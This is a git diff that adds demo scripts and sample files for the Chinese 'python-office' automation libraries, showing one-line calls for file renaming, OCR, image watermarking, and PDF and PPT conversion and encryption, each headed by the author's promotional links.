diff --git "a/demo/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-\345\260\217\347\272\242\344\271\246.txt" "b/demo/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-\345\260\217\347\272\242\344\271\246.txt"
new file mode 100644
index 0000000..1d11ec3
--- /dev/null
+++ "b/demo/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-\345\260\217\347\272\242\344\271\246.txt"
@@ -0,0 +1,3 @@
+程序员晚枫
+小红书
+https://www.xiaohongshu.com/user/profile/611dcb820000000001014aca
\ No newline at end of file
diff --git "a/demo/pofile/\346\211\271\351\207\217\350\216\267\345\217\226\346\226\207\344\273\266\345\210\227\350\241\250.py" "b/demo/pofile/\346\211\271\351\207\217\350\216\267\345\217\226\346\226\207\344\273\266\345\210\227\350\241\250.py"
new file mode 100644
index 0000000..5d4198c
--- /dev/null
+++ "b/demo/pofile/\346\211\271\351\207\217\350\216\267\345\217\226\346\226\207\344\273\266\345\210\227\350\241\250.py"
@@ -0,0 +1,14 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/20 0:05
+@本段代码的视频说明 :https://www.bilibili.com/video/BV1ua4y1M7ya/
+'''
+
+# pip install pofile
+import pofile
+
+files_list = pofile.get_files(path=r'D:\workplace\code\github\pofile\tests', name='pdf')
+print(files_list)
diff --git "a/demo/pofile/\346\211\271\351\207\217\351\207\215\345\221\275\345\220\215.py" "b/demo/pofile/\346\211\271\351\207\217\351\207\215\345\221\275\345\220\215.py"
new file mode 100644
index 0000000..6dcc828
--- /dev/null
+++ "b/demo/pofile/\346\211\271\351\207\217\351\207\215\345\221\275\345\220\215.py"
@@ -0,0 +1,16 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/12 23:52
+@本段代码的视频说明 :https://www.bilibili.com/video/BV12r4y187Yj/
+'''
+
+import office
+
+office.file.replace4filename(path=r'./test_files/replace4filename', del_content='程序员晚枫')
+
+import pofile
+
+pofile.replace4filename(path=r'./test_files/replace4filename', del_content='程序员晚枫')
diff --git "a/demo/pofile/\346\226\260\345\273\272\346\226\207\344\273\266\345\244\271.py" "b/demo/pofile/\346\226\260\345\273\272\346\226\207\344\273\266\345\244\271.py"
new file mode 100644
index 0000000..12117e8
--- /dev/null
+++ "b/demo/pofile/\346\226\260\345\273\272\346\226\207\344\273\266\345\244\271.py"
@@ -0,0 +1,12 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/20 0:06
+@本段代码的视频说明 :
+'''
+import pofile
+
+path = r'd://程序员晚枫-新文件夹'
+pofile.mkdir((path))
diff --git "a/demo/pofile/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\346\211\276\346\226\207\344\273\266.py" "b/demo/pofile/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\346\211\276\346\226\207\344\273\266.py"
new file mode 100644
index 0000000..15d1197
--- /dev/null
+++ "b/demo/pofile/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\346\211\276\346\226\207\344\273\266.py"
@@ -0,0 +1,15 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/15 0:44
+@本段代码的视频说明 :
+'''
+
+# 导入这个库:python-office,简写为office
+import search4file
+
+# 1行代码,实现
+
+search4file.search_by_content(r'你的文件夹,例如:d:\\程序员晚枫的文件夹' , content="你需要查找的文件里面的内容,例如:所有平台都叫-程序员晚枫")
\ No newline at end of file
diff --git "a/demo/pofile/\346\243\200\346\237\245\345\220\216\347\274\200\345\220\215.py" "b/demo/pofile/\346\243\200\346\237\245\345\220\216\347\274\200\345\220\215.py"
new file mode 100644
index 0000000..141ba38
--- /dev/null
+++ "b/demo/pofile/\346\243\200\346\237\245\345\220\216\347\274\200\345\220\215.py"
@@ -0,0 +1,13 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/9 22:27
+@本段代码的视频说明 :
+'''
+
+import pofile
+
+is_valid = pofile.check_suffix(file_name='程序员晚枫.pdf',suffix_list=['pdf'])
+print(is_valid)
diff --git "a/demo/pofile/\350\207\252\345\212\250\346\225\264\347\220\206\346\226\207\344\273\266\345\244\271.py" "b/demo/pofile/\350\207\252\345\212\250\346\225\264\347\220\206\346\226\207\344\273\266\345\244\271.py"
new file mode 100644
index 0000000..d8754fe
--- /dev/null
+++ "b/demo/pofile/\350\207\252\345\212\250\346\225\264\347\220\206\346\226\207\344\273\266\345\244\271.py"
@@ -0,0 +1,14 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/20 0:04
+@本段代码的视频说明 :https://mp.weixin.qq.com/s/AVFttFz-IjZD1Ra3K-580A
+'''
+
+
+import office
+
+path = 'd://程序员晚枫需要整理的文件夹//'
+office.file.group_by_name(path)
\ No newline at end of file
diff --git "a/demo/pofinance/1\343\200\201\345\215\225\346\254\241\345\201\232T.py" "b/demo/pofinance/1\343\200\201\345\215\225\346\254\241\345\201\232T.py"
new file mode 100644
index 0000000..cc6d7e0
--- /dev/null
+++ "b/demo/pofinance/1\343\200\201\345\215\225\346\254\241\345\201\232T.py"
@@ -0,0 +1,14 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/28 11:45
+@本段代码的视频说明 :
+'''
+
+import pofinance
+
+print(pofinance.t0(11.06, 11.23, 500))
+print(pofinance.t0(11.06, 35.57, 2000))
+print(pofinance.t0(14, 14.5, 300))
diff --git "a/demo/pohan/1\343\200\201\347\273\231\345\217\244\350\257\227\351\205\215\346\213\274\351\237\263.py" "b/demo/pohan/1\343\200\201\347\273\231\345\217\244\350\257\227\351\205\215\346\213\274\351\237\263.py"
new file mode 100644
index 0000000..9272785
--- /dev/null
+++ "b/demo/pohan/1\343\200\201\347\273\231\345\217\244\350\257\227\351\205\215\346\213\274\351\237\263.py"
@@ -0,0 +1,26 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/30 2:59
+@本段代码的视频说明 :
+'''
+
+# pip install pohan
+import pohan
+from pohan.pinyin.pinyin import Style
+
+line1 = "床前明月光"
+
+# 不带声调的
+pinyin_list = pohan.pinyin.han2pinyin(line1, style=Style.NORMAL)
+print(f'不带声调的结果:{pinyin_list}')
+
+# 带声调的
+pinyin_list = pohan.pinyin.han2pinyin(line1, style=Style.TONE)
+print(f'带声调的结果:{pinyin_list}')
+
+# 带数字声调的
+pinyin_list = pohan.pinyin.han2pinyin(line1, style=Style.TONE3)
+print(f'带数字声调的结果:{pinyin_list}')
diff --git "a/demo/poimage/test_files/add_watermark/mark_img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" "b/demo/poimage/test_files/add_watermark/mark_img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg"
new file mode 100644
index 0000000..c9d49e8
Binary files /dev/null and "b/demo/poimage/test_files/add_watermark/mark_img/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" differ
diff --git "a/demo/poimage/test_files/add_watermark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" "b/demo/poimage/test_files/add_watermark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg"
new file mode 100644
index 0000000..7e09de2
Binary files /dev/null and "b/demo/poimage/test_files/add_watermark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-2.jpg" differ
diff --git a/demo/poimage/test_files/del_watermark/del_watermark.jpg b/demo/poimage/test_files/del_watermark/del_watermark.jpg
new file mode 100644
index 0000000..719707d
Binary files /dev/null and b/demo/poimage/test_files/del_watermark/del_watermark.jpg differ
diff --git a/demo/poimage/test_files/del_watermark/img.png b/demo/poimage/test_files/del_watermark/img.png
new file mode 100644
index 0000000..f52ddbe
Binary files /dev/null and b/demo/poimage/test_files/del_watermark/img.png differ
diff --git "a/demo/poimage/test_files/\344\270\213\350\275\275\345\233\276\347\211\207/B\347\253\231\357\274\232\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.jpg" "b/demo/poimage/test_files/\344\270\213\350\275\275\345\233\276\347\211\207/B\347\253\231\357\274\232\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.jpg"
new file mode 100644
index 0000000..922cd69
Binary files /dev/null and "b/demo/poimage/test_files/\344\270\213\350\275\275\345\233\276\347\211\207/B\347\253\231\357\274\232\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.jpg" differ
diff --git "a/demo/poimage/\344\270\213\350\275\275\345\233\276\347\211\207.py" "b/demo/poimage/\344\270\213\350\275\275\345\233\276\347\211\207.py"
new file mode 100644
index 0000000..98816ad
--- /dev/null
+++ "b/demo/poimage/\344\270\213\350\275\275\345\233\276\347\211\207.py"
@@ -0,0 +1,20 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/9 22:30
+@本段代码的视频说明 :
+'''
+
+# 导入这个库:python-office,简写为office
+import office
+
+office.image.down4img(
+ url='https://cos.python-office.com/icon2.jpg',
+ output_name='./test_files/下载图片/B站:程序员晚枫',
+ type='jpg')
+# 参数说明:
+# url:你要下载的图片链接
+# output_name:下载后的图片名称,可以不填,默认:down4img
+# type:下载后的图片类型,可以不填,默认:jpg
diff --git "a/demo/poimage/\345\233\276\347\211\207\345\212\240\346\260\264\345\215\260.py" "b/demo/poimage/\345\233\276\347\211\207\345\212\240\346\260\264\345\215\260.py"
new file mode 100644
index 0000000..f8cb42d
--- /dev/null
+++ "b/demo/poimage/\345\233\276\347\211\207\345\212\240\346\260\264\345\215\260.py"
@@ -0,0 +1,14 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/20 0:08
+@本段代码的视频说明 :
+'''
+# 给图片加水印
+import office
+
+office.image.add_watermark(file='./test_files/add_watermark/程序员晚枫-2.jpg',
+ mark='程序员晚枫',
+ output_path=r'./test_files/add_watermark/mark_img')
diff --git "a/demo/poimage/\345\233\276\347\211\207\345\216\273\346\260\264\345\215\260.py" "b/demo/poimage/\345\233\276\347\211\207\345\216\273\346\260\264\345\215\260.py"
new file mode 100644
index 0000000..2f63e7f
--- /dev/null
+++ "b/demo/poimage/\345\233\276\347\211\207\345\216\273\346\260\264\345\215\260.py"
@@ -0,0 +1,17 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/9 22:36
+@本段代码的视频说明 :
+'''
+
+# pip install poimage,可以使用清华大学的仓库下载:https://www.bilibili.com/video/BV1SM411y7vw
+import poimage
+
+# 支持jpg、png等所有图片格式
+# 注意:图片的路径和名称,都不能有中文!
+poimage.del_watermark(
+ input_image=r"D:\workplace\code\github\python-office\demo\poimage\test_files\del_watermark\img.png",
+ output_image=r'./test_files/del_watermark/del_watermark.jpg')
diff --git "a/demo/poimage/\346\226\207\346\234\254\350\275\254\350\257\215\344\272\221.py" "b/demo/poimage/\346\226\207\346\234\254\350\275\254\350\257\215\344\272\221.py"
new file mode 100644
index 0000000..4a849cf
--- /dev/null
+++ "b/demo/poimage/\346\226\207\346\234\254\350\275\254\350\257\215\344\272\221.py"
@@ -0,0 +1,11 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/9 22:48
+@本段代码的视频说明 :
+'''
+import poimage
+
+poimage.txt2wordcloud()
diff --git a/demo/poimage_demo/compress_image.py b/demo/poimage_demo/compress_image.py
new file mode 100644
index 0000000..a26de36
--- /dev/null
+++ b/demo/poimage_demo/compress_image.py
@@ -0,0 +1,13 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫
+@读者群 :http://www.python4office.cn/wechat-group/
+@个人网站 :www.python-office.com
+@Date :2023/7/3 23:46
+@Description :
+'''
+import office
+
+office.image.compress_image(input_file=r'D:\workplace\code\github\poimage\tests\头像.jpg',
+ output_file="compressed.jpg",
+ quality=50) # 质量,1-100之间,数值越低压缩率越高
diff --git "a/demo/poocr/\350\257\206\345\210\253\351\223\266\350\241\214\345\215\241.py" "b/demo/poocr/\350\257\206\345\210\253\351\223\266\350\241\214\345\215\241.py"
new file mode 100644
index 0000000..7f9de32
--- /dev/null
+++ "b/demo/poocr/\350\257\206\345\210\253\351\223\266\350\241\214\345\215\241.py"
@@ -0,0 +1,22 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/26 0:02
+@本段代码的视频说明 :
+'''
+
+# pip install poocr
+import poocr
+
+# 获取id和key的地址:https://cloud.tencent.com/act/cps/redirect?redirect=36394&cps_key=ca76be5a2293ba3906d6d5407aea15ee
+id = '获取方式👆'
+key = '获取方式👆'
+
+# 全部功能 的文档:https://mp.weixin.qq.com/s/WxICBZZSgkm-OrvXB82hbg
+result = poocr.ocr.BankCardOCR(
+ # 可以填写本地图片的地址:img_path,也可以填写在线图片的地址:img_url ,如果2个都填,则只用在线图片img_url
+ img_path=r'D:\workplace\code\程序员晚枫\全网同名\银行卡照片.jpg',
+ id=id, key=key)
+print(result) # 输出json格式的识别结果
diff --git "a/demo/poocr/\351\200\232\347\224\250\346\226\207\345\255\227\350\257\206\345\210\253.py" "b/demo/poocr/\351\200\232\347\224\250\346\226\207\345\255\227\350\257\206\345\210\253.py"
new file mode 100644
index 0000000..65fecd8
--- /dev/null
+++ "b/demo/poocr/\351\200\232\347\224\250\346\226\207\345\255\227\350\257\206\345\210\253.py"
@@ -0,0 +1,21 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/25 22:52
+@本段代码的视频说明 :
+'''
+# pip install poocr
+import poocr
+
+# 获取id和key的地址:https://cloud.tencent.com/act/cps/redirect?redirect=36394&cps_key=ca76be5a2293ba3906d6d5407aea15ee
+id = '获取方式👆'
+key = '获取方式👆'
+
+# 全部功能 的文档:https://mp.weixin.qq.com/s/WxICBZZSgkm-OrvXB82hbg
+result = poocr.ocr.GeneralBasicOCR(
+ # 可以填写本地图片的地址:img_path,也可以填写在线图片的地址:img_url ,如果2个都填,则只用在线图片img_url
+ img_path=r'D:\workplace\code\程序员晚枫\全网同名\普通照片.jpg',
+ id=id, key=key)
+print(result) # 输出json格式的识别结果
diff --git "a/demo/popdf/PDF\345\212\240\345\257\206.py" "b/demo/popdf/PDF\345\212\240\345\257\206.py"
new file mode 100644
index 0000000..675a74b
--- /dev/null
+++ "b/demo/popdf/PDF\345\212\240\345\257\206.py"
@@ -0,0 +1,18 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/18 22:05
+@本段代码的视频说明 :
+'''
+
+# 导入这个库
+import office
+
+# PDF加密:填写你的文件位置和密码
+office.pdf.encrypt4pdf(path='./test_files/encrypt4pdf/程序员晚枫(作品合集).pdf', password='你想添加的密码')
+
+# 参数说明:
+# path:你的文件位置,例如:D:\work\参考.pdf
+# password:你的密码,可以随意设置,不能为空
\ No newline at end of file
diff --git "a/demo/popdf/PDF\345\212\240\346\260\264\345\215\260.py" "b/demo/popdf/PDF\345\212\240\346\260\264\345\215\260.py"
new file mode 100644
index 0000000..f15f2d1
--- /dev/null
+++ "b/demo/popdf/PDF\345\212\240\346\260\264\345\215\260.py"
@@ -0,0 +1,13 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/17 22:37
+@本段代码的视频说明 :
+'''
+
+import office
+
+office.pdf.add_mark(pdf_file=r'./test_files/add_mark/程序员晚枫(没加水印).pdf', mark_str='程序员晚枫',
+ output_path=r'./test_files/add_mark/output', output_file_name='程序员晚枫(加了水印).pdf')
diff --git "a/demo/popdf/PDF\350\247\243\345\257\206.py" "b/demo/popdf/PDF\350\247\243\345\257\206.py"
new file mode 100644
index 0000000..9d7b52f
--- /dev/null
+++ "b/demo/popdf/PDF\350\247\243\345\257\206.py"
@@ -0,0 +1,13 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/18 22:07
+@本段代码的视频说明 :
+'''
+# 导入这个库:python-office,简写为:office
+import office
+
+# PDF解密:填写你的文件位置和密码
+office.pdf.decrypt4pdf(path='你的加密文件.pdf', password='该文件的密码')
\ No newline at end of file
diff --git "a/demo/popdf/TXT\350\275\254PDF.py" "b/demo/popdf/TXT\350\275\254PDF.py"
new file mode 100644
index 0000000..6723da0
--- /dev/null
+++ "b/demo/popdf/TXT\350\275\254PDF.py"
@@ -0,0 +1,12 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/18 22:01
+@本段代码的视频说明 :
+'''
+
+import office
+
+office.pdf.txt2pdf(path=r'./test_files/txt2pdf/程序员晚枫.txt', res_pdf='txt2pdf.popdf', output_path=r'./test_files/txt2pdf/output')
diff --git a/demo/popdf/pdf_demo.py b/demo/popdf/pdf_demo.py
new file mode 100644
index 0000000..9513d0c
--- /dev/null
+++ b/demo/popdf/pdf_demo.py
@@ -0,0 +1,12 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫
+@读者群 :http://www.python4office.cn/wechat-group/
+@个人网站 :www.python-office.com
+@Date :2023/3/24 23:05
+@Description :
+'''
+import office
+
+office.pdf.add_watermark_by_parameters(pdf_file=r'D:\workplace\code\github\popdf\tests\test_files\pdf\in.popdf',
+ mark_str='python-office')
diff --git "a/demo/popdf/pdf\350\275\254word.py" "b/demo/popdf/pdf\350\275\254word.py"
new file mode 100644
index 0000000..a3b4fe5
--- /dev/null
+++ "b/demo/popdf/pdf\350\275\254word.py"
@@ -0,0 +1,22 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/15 0:40
+@本段代码的视频说明 :
+'''
+
+# pip install python-office
+import office # 导入第三方库
+
+office.pdf.pdf2docx(file_path=r'D:\pdf\程序员晚枫.pdf',
+ output_path=r'D:\download')
+
+
+# 上面这种是Windows用户
+# 尊贵的Mac和Linux用户
+# pip install popdf
+# import popdf
+# popdf.pdf2docx(file_path=r'D:\workplace\code\github\python-office\demo\popdf\test_files\pdf2docx\程序员晚枫.pdf',
+# output_path=r'./test_files/pdf2docx/output')
diff --git "a/demo/popdf/pdf\350\275\254\345\233\276\347\211\207.py" "b/demo/popdf/pdf\350\275\254\345\233\276\347\211\207.py"
new file mode 100644
index 0000000..7a3a63f
--- /dev/null
+++ "b/demo/popdf/pdf\350\275\254\345\233\276\347\211\207.py"
@@ -0,0 +1,19 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/18 22:09
+@本段代码的视频说明 :
+'''
+# 导入这个库:python-office,简写为office
+import office
+
+# 一行代码,实现转换
+office.pdf.pdf2imgs(
+ pdf_path='D://程序员晚枫的文件夹//程序员晚枫.pdf',
+ out_dir='./点赞+关注文件夹'
+)
+# 参数说明:
+# pdf_path = 你的PDF文件的地址
+# out_dir = 转换后的图片存放地址,可以不填,默认是PDF的地址
\ No newline at end of file
diff --git a/demo/popdf/test_files/add_mark/32012356985422-watermark.pdf b/demo/popdf/test_files/add_mark/32012356985422-watermark.pdf
new file mode 100644
index 0000000..94d043a
Binary files /dev/null and b/demo/popdf/test_files/add_mark/32012356985422-watermark.pdf differ
diff --git "a/demo/popdf/test_files/add_mark/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\345\212\240\344\272\206\346\260\264\345\215\260\357\274\211.pdf" "b/demo/popdf/test_files/add_mark/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\345\212\240\344\272\206\346\260\264\345\215\260\357\274\211.pdf"
new file mode 100644
index 0000000..7dadbde
Binary files /dev/null and "b/demo/popdf/test_files/add_mark/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\345\212\240\344\272\206\346\260\264\345\215\260\357\274\211.pdf" differ
diff --git "a/demo/popdf/test_files/add_mark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\346\262\241\345\212\240\346\260\264\345\215\260\357\274\211.pdf" "b/demo/popdf/test_files/add_mark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\346\262\241\345\212\240\346\260\264\345\215\260\357\274\211.pdf"
new file mode 100644
index 0000000..4110415
Binary files /dev/null and "b/demo/popdf/test_files/add_mark/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\346\262\241\345\212\240\346\260\264\345\215\260\357\274\211.pdf" differ
diff --git "a/demo/popdf/test_files/decrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf" "b/demo/popdf/test_files/decrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf"
new file mode 100644
index 0000000..4110415
Binary files /dev/null and "b/demo/popdf/test_files/decrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf" differ
diff --git "a/demo/popdf/test_files/encrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf" "b/demo/popdf/test_files/encrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf"
new file mode 100644
index 0000000..4110415
Binary files /dev/null and "b/demo/popdf/test_files/encrypt4pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\357\274\210\344\275\234\345\223\201\345\220\210\351\233\206\357\274\211.pdf" differ
diff --git "a/demo/popdf/test_files/pdf2docx/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" "b/demo/popdf/test_files/pdf2docx/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx"
new file mode 100644
index 0000000..b639a59
Binary files /dev/null and "b/demo/popdf/test_files/pdf2docx/output/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.docx" differ
diff --git "a/demo/popdf/test_files/pdf2docx/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" "b/demo/popdf/test_files/pdf2docx/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf"
new file mode 100644
index 0000000..1dfe32d
Binary files /dev/null and "b/demo/popdf/test_files/pdf2docx/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.pdf" differ
diff --git "a/demo/popdf/test_files/txt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.txt" "b/demo/popdf/test_files/txt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.txt"
new file mode 100644
index 0000000..b282df0
--- /dev/null
+++ "b/demo/popdf/test_files/txt2pdf/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253.txt"
@@ -0,0 +1,11 @@
+公众号:程序员晚枫
+小红书:程序员晚枫
+知乎:程序员晚枫
+抖音:程序员晚枫
+快手:程序员晚枫
+B站:程序员晚枫
+
+
+个人网站:www.python-office.com
+
+技术答疑群:http://www.python4office.cn/wechat-group/
\ No newline at end of file
diff --git "a/demo/popdf/\345\220\210\345\271\266PDF.py" "b/demo/popdf/\345\220\210\345\271\266PDF.py"
new file mode 100644
index 0000000..bcae6bf
--- /dev/null
+++ "b/demo/popdf/\345\220\210\345\271\266PDF.py"
@@ -0,0 +1,17 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/18 22:08
+@本段代码的视频说明 :
+'''
+# 导入这个库:python-office,简写为office
+import office
+
+#一行代码,合并pdf
+office.pdf.merge2pdf(one_by_one=['程序员晚枫.pdf', '一键三连.pdf'], output='走起.pdf')
+
+#参数作用:
+# one_by_one = 是个列表,里面是2个pdf文件,合并后,a在前面,b在后面
+# output = 合并后的pdf名字,不能为空
\ No newline at end of file
diff --git a/demo/poppt/merge4ppt.py b/demo/poppt/merge4ppt.py
new file mode 100644
index 0000000..cad405b
--- /dev/null
+++ b/demo/poppt/merge4ppt.py
@@ -0,0 +1,19 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫
+@读者群 :http://www.python4office.cn/wechat-group/
+@个人网站 :www.python-office.com
+@Date :2023/5/25 23:34
+@Description :
+'''
+
+# 集成使用
+import office
+
+input_path = r"./test_files/merge4ppt"
+office.ppt.merge4ppt(input_path)
+
+# 独立使用
+# import poppt
+#
+# poppt.merge4ppt(input_path, output_path=r'./output')
diff --git a/demo/poppt/ppt2img.py b/demo/poppt/ppt2img.py
new file mode 100644
index 0000000..550a30d
--- /dev/null
+++ b/demo/poppt/ppt2img.py
@@ -0,0 +1,29 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/18 23:12
+@本段代码的视频说明 :
+'''
+
+# pip install python-office
+import office
+
+office.ppt.ppt2img(input_path=r'./test_files/ppt2img/程序员晚枫-2.pptx',
+ output_path=r'./test_files/ppt2img/output',
+ merge=True)
+
+"""
+PPT转图片
+Args:
+ input_path: 存放PPT的位置,
+ 转换单个文件 → 可以写文件的路径
+ 转换单个文件 → 写文件夹的路径
+ output_path: 结果图片的存储位置,可以不写,默认代码目录
+ merge: True → 转为1张图片
+ False → PPT有多少张,就转为多少张图片
+
+Returns: None
+
+"""
diff --git a/demo/poppt/ppt2pdf.py b/demo/poppt/ppt2pdf.py
new file mode 100644
index 0000000..d0c1f9f
--- /dev/null
+++ b/demo/poppt/ppt2pdf.py
@@ -0,0 +1,19 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
